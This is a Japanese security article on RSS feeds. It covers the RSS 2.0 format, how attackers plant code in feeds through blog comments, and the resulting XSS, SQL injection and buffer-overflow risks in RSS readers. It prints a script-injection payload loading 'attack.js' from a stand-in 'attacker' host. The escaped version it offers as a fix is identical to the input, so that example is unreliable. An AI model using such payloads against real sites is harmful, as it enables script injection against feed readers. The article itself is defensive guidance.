RSSでWebページの更新情報を提供することが多くなりました。ブログソフトウェアやCMS(コンテンツ管理システム)では自動的にRSSフィードを生成してくれます。また,RSS情報を取得し見やすく整形して表示するRSSリーダーを使用してWebサイトの巡回をしている人も多いと思います。今回は,RSSフィードを提供する場合のセキュリティとRSSリーダーのセキュリティについて考えていきます。
RSSフィードのフォーマット
RSSにはいくつかのバージョンが存在します。RSS1.0,RSS2.0,Atomがよく使われています。たとえばRSS2.0は以下のようなXML形式のファイルです。このようなRSSフィードをWebサイト運営者が作成し,RSSリーダーがRSSフィードを読み込み,整形して表示するという流れになります。
<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Secure Sky Technology Inc.</title>
<link>http://www.securesky-tech.com/</link>
<language>ja</language>
<copyright>Copyright 2007</copyright>
<item>
<title>SSTホームページ開設のおしらせ</title>
<description>SSTのホームページが平成18年4月3日に開設しました。</description>
<link>http://www.securesky-tech.com/2006/03/sst_3.html</link>
<guid>http://www.securesky-tech.com/2006/03/sst_3.html</guid>
<category>01 news</category>
<pubDate>Fri, 31 Mar 2006 10:49:15 +0900</pubDate>
</item>
</channel>
</rss>
RSSでの攻撃シナリオ
まず,攻撃者は攻撃コードを埋め込んだRSSフィードを準備します。このRSSフィードを設置する場所としては2つのケースが考えられます。1つは攻撃者自身のWebサイトに不正なRSSフィードを設置する方法で,もう1つが他のサイトのRSSフィードに埋め込む方法です。
攻撃者自身のサイトに攻撃コードを含んだRSSフィードを設置する方法の場合,攻撃者は自身のサイトに被害者を誘導しアクセスさせる必要があります。
一方,他のサイトのRSSフィードに埋め込む方法の場合,著名なサイトのRSSフィードに埋め込むことができれば攻撃の効果も上がります。ブログのコメントやトラックバックを利用することで,攻撃コードを埋め込んだRSSフィードを生成させることができる場合があります。
そして,攻撃コードを埋め込まれたRSSフィードをRSSリーダーが読み込んだ時に被害が発生します。発生しうる主な脆弱性には以下のものがあります。
- クロスサイトスクリプティング
- SQLインジェクション
- バッファオーバーフロー
RSSフィードへの攻撃による被害拡散
攻撃者はどこかのRSSフィードに攻撃コードを埋め込んでおけば,そのRSSを購読しているユーザのほうからRSSフィードを取得しに来てくれます。
一般のクロスサイトスクリプティングは何らかの方法によりユーザをサイトに誘導する必要があったのに対し,RSSを利用した攻撃の場合,攻撃者は一度攻撃を仕掛ければ,待っているだけでユーザのほうから被害に遭いに来てくれます。また,RSSフィードを一度購読すると,RSSリーダーは数分間隔で更新確認のためにRSSフィードにアクセスします。そのため,非常に効率よく大規模な攻撃を行うことができるので,攻撃者から見ると格好のターゲットになります。
RSSフィード提供者は,このように攻撃の踏み台となるのを防ぐ必要があります。対策は,一般のWebアプリケーションと同様です。
たとえば,図1のようにコメント欄に
<![CDATA[<script/src="http://attacker/attack.js"></script>]]>
と入力されていた場合には
<![CDATA[<script/src="http://attacker/attack.js"></script>]]>
としてRSSフィードに出力すればよいことになります。

